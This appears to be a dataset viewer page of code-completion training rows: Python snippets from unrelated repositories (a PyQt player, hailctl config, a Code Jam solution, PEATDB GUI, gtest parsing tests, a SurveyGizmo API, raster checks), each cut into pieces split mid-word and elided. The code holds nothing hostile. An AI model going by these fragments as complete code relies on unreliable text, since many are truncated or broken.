from PyQt5 import QtCore, QtGui, QtWidgets
import webbrowser
from Ui_main import Ui_MainWindow
from PyQt5.QtWidgets import QMessageBox
class MainWindow(QMainWindow, Ui_... | .width() - size.width()) / 2, (screen.height() - size.height()) / 2)
@pyqtSlot()
def on_vipvideo_pressed(self):
"""
Slot documentation goes here.
"""
# TODO: not implemented yet
self.url = self.urllist[0]
self.flag = 0
|
@pyqtSlot()
def on_no_name_pressed(self):
"""
Slot documentation goes here.
"""
# TODO: not implemented yet
self.url = self.urllist[1]
self.flag = 1
@pyqtSlot()
def on_play_clicked(self):
"""
Slot documentation goes here.
"... |
hail-is/hail | hail/python/hailtop/hailctl/dev/config/set_property.py | Python | mit | 721 | 0.001387 | import os
import json
from hailtop.config import get_deploy_config
def init_parser(parser):
parser.add_argument("property", type=str,
help="Property to set.",
choices=['location', 'default_namespace', 'domain'])
parser.add_argument("value", type=str,
... | help="Value to set property to.")
def main(args):
deploy_config = get_deploy_config()
config = deploy_config.get_config()
p = args.property
config[p] = args.value
config_file = os.environ.get(
'HAIL_DEPLOY_CONFIG_FILE', os.path.ex | panduser('~/.hail/deploy-config.json'))
with open(config_file, 'w', encoding='utf-8') as f:
json.dump(config, f)
|
KirarinSnow/Google-Code-Jam | Qualification Round 2008/A.py | Python | gpl-3.0 | 1,077 | 0.045497 | #!/usr/bin/python
#
# Problem: Saving the Universe
# Language: Python
# Author: KirarinSnow
# Usage: python thisfile.py <input.in >output.out
# Comments: Inefficient O(SQ)-time algorithm. Can be solved in O(S+Q) time.
MAX = 1000000000
def compute():
ns = input()
ses = [raw_input() for j in range(ns)]
nq ... | else:
conf = 0
table[jj].append(conf)
if nq == 0:
return 0
score = [[]]
for m in range(ns):
score[0].append(table[0][m])
for v in range(1,nq):
score.append([])
for x in rang | e(ns):
if table[v][x] == 1:
score[v].append(MAX)
else:
cc = MAX
for p in range(ns):
if p == x:
ad = 0
else:
ad = 1
cc = min(cc, score[v-1][p] +ad)
score[v].append(cc)
scc = MAX
for kkk in range(ns):
scc = min(scc,score[nq-1][kkk])
return scc
for i in range(in... |
dmnfarrell/peat | PEATDB/GUI_helper.py | Python | mit | 9,795 | 0.018785 | #!/usr/bin/env python
#
# Protein Engineering Analysis Tool DataBase (PEATDB)
# Copyright (C) 2010 Damien Farrell & Jens Erik Nielsen
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either ver... | # Open a window and get text input from the user
# The fields to request are in the fields list
"""
if not getattr(self,'window',None):
self.window=[]
if not getattr(self,'winvars',None):
self.winvars=[]
#
# OPen window
#
thisi... | parent.winfo_rooty()+50))
self.window=thisid
efields=[]
row=1
if title:
Label(thisid,text=title).grid(row=row,column=0)
row=row+1
for field,size in fields:
self.winvars.append(StringVar())
Label(thisid,text=field).grid(row=row,c... |
takaaptech/sky_engine | mojo/devtools/common/devtoolslib/apptest_gtest_unittest.py | Python | bsd-3-clause | 2,417 | 0.003724 | # Copyright 2014 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import imp
import os.path
import sys
import unittest
try:
imp.find_module("devtoolslib")
except ImportError:
sys.path.append(os.path.dirname(os.path.dir... | eSuiteAndFixture(self):
"""Tests a single suite with a single fixture."""
gtest_output = "TestSuite.\n TestFixture\n"
expected_test_list = ["TestSuite.TestFixture"]
self.assertEquals(_gtest_list_tests(gtest_output), expected_test_list)
def testWindowsNewlines(self):
"""Tests handling of \r\n new... | estSuite.\r\n TestFixture1\r\n"
expected_test_list = ["TestSuite.TestFixture1"]
self.assertEquals(_gtest_list_tests(gtest_output), expected_test_list)
def testSingleSuiteAndMultipleFixtures(self):
"""Tests a single suite with multiple fixtures."""
gtest_output = "TestSuite.\n TestFixture1\n TestFi... |
louistin/thinkstation | a_byte_of_python/unit_4_5_6_basic/expression.py | Python | mit | 161 | 0.006211 | #!/usr/bin/python3
#Filename: e | xpression.py
length = 5
breadth = 2
area = length * breadth
print('Area is', area)
print('Perimeter is', 2 * (length + | breadth))
|
ITNG/SurveyGizmo | surveygizmo/api/surveypage.py | Python | bsd-3-clause | 1,235 | 0 |
from surveygizmo.api import base
class SurveyPage(base.Resource):
resource_fmt_str = 'survey/%(survey_id)s/surveypage/%(page_id)s'
resource_id_keys = ['surv | ey_id', 'page_id']
def list(self, survey_id, **kwargs):
kwargs.update({'survey_id': survey_id, })
return super(SurveyPage, self).list(**kwargs)
def get(self, survey_id, page_id, **kwargs):
kwargs.update({
'survey_id': survey_id,
'page_id': page_id,
})
... | title, **kwargs):
kwargs.update({
'survey_id': survey_id,
'title': title,
})
return super(SurveyPage, self).create(**kwargs)
def update(self, survey_id, page_id, **kwargs):
kwargs.update({
'survey_id': survey_id,
'page_id': page_id,
... |
VUEG/priocomp | tests/test_raster_expansion.py | Python | mit | 1,814 | 0.003859 | import numpy as np
import numpy.ma as ma
import rasterio
value_raster = "analyses/zonation/priocomp/08_abf_bd/08_abf_bd_out/08_abf_bd.rank.compressed.tif"
mask_raster = "analyses/zonation/priocomp/06_abf_es/06_abf_es_out/06_abf_es.rank.compressed.tif"
expand_raster = "analyses/zonation/priocomp/08_abf_bd/08_abf_bd_out... | _mask))
print(" # of NoData in expand_raster mask: \t{}".format(n_expand_raster_mask))
print("\n Diff mask_raster and expand_raster: \t{}".format(n_mask_raster_mask - n_expand_raster_mask))
diff = mask_raster_mask != expand_raster_mask
diff_indices = np.where(diff == True)
diff_zipper = zip(diff_indices[0], diff_indi... | rds[0]
y = coords[1]
vv = value_raster_src[x, y]
mv = mask_raster_src[x, y]
ev = expand_raster_src[x, y]
print( " {0} \t> value_raster: {1:1.10f} | mask_raster: {2} | expand_raster: {3:1.10f}".format(coords, vv, mv, ev))
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.